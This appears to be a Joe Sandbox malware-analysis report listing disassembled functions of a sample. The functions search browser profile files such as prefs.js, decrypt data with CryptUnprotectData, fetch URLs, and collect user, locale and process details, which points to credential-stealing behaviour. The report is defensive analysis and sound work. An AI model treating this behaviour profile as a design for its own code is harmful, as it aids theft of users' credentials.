Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$P2#v$1#v
API String ID: 180737720-1025293131
Opcode ID: e0733fba184414957b84623ac2ff11fb37c01327547932e1e3e5ae516d67a78e
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: e0733fba184414957b84623ac2ff11fb37c01327547932e1e3e5ae516d67a78e
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 0040F4F0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

1#v, xrefs: 0040F55E
P2#v, xrefs: 0040F8F1
prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$prefs.js$1#v
API String ID: 3334442632-2885088814
Opcode ID: 2f528e32e05af7a1b71f55bdef6f9d18011e4ef32785c68110532fc7286f13a3
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 2f528e32e05af7a1b71f55bdef6f9d18011e4ef32785c68110532fc7286f13a3
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 0040D8C0 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Strings

1#v, xrefs: 0040D92B
P2#v, xrefs: 0040DC0C

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$1#v
API String ID: 3334442632-762677545
Opcode ID: 591c841a8ffef7581aa9e3f752d30f7bd3876c2241634b58f4b9f337d8e73474
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: 591c841a8ffef7581aa9e3f752d30f7bd3876c2241634b58f4b9f337d8e73474
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00401710 Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425004,?,00401F6C,?,004250AC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425154), ref: 004019B3
StrCmpCA.SHLWAPI(?,004251FC), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

1#v, xrefs: 00401963
P2#v, xrefs: 00401E60
\*.*, xrefs: 00401831

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: P2#v$\*.*$1#v
API String ID: 1415058207-2075649900
Opcode ID: 3d5d3025f7d0a3dda25854691802c1ec1abf79d4a6368dae6af58a1a6eaa11c2
Instruction ID: 16b9519e73a2a048c1aa4c2f75882a05a68b4b793ed3d445f0fb30e7c05d6763
Opcode Fuzzy Hash: 3d5d3025f7d0a3dda25854691802c1ec1abf79d4a6368dae6af58a1a6eaa11c2
Instruction Fuzzy Hash: 83123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 0040E270 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

1#v, xrefs: 0040E2E2
P2#v, xrefs: 0040EA1F
.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E
\*.*, xrefs: 0040E28D

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$P2#v$\*.*$1#v
API String ID: 433455689-4077462073
Opcode ID: eddd0434d1398ba1bdf0e84934b5891906b31ed5c033c6473a59003df0394a55
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: eddd0434d1398ba1bdf0e84934b5891906b31ed5c033c6473a59003df0394a55
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: f444c6f7ddd9144f10c727580b8ae5c860da4ae62cedfb23b3109a919a7fad71
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: f444c6f7ddd9144f10c727580b8ae5c860da4ae62cedfb23b3109a919a7fad71
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: b53afe31ff564cb2149a080bb0297cf0aa1c079a61199f3cbe8dd6d50af648bd
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: b53afe31ff564cb2149a080bb0297cf0aa1c079a61199f3cbe8dd6d50af648bd
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02729670,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02729670,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02729670,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
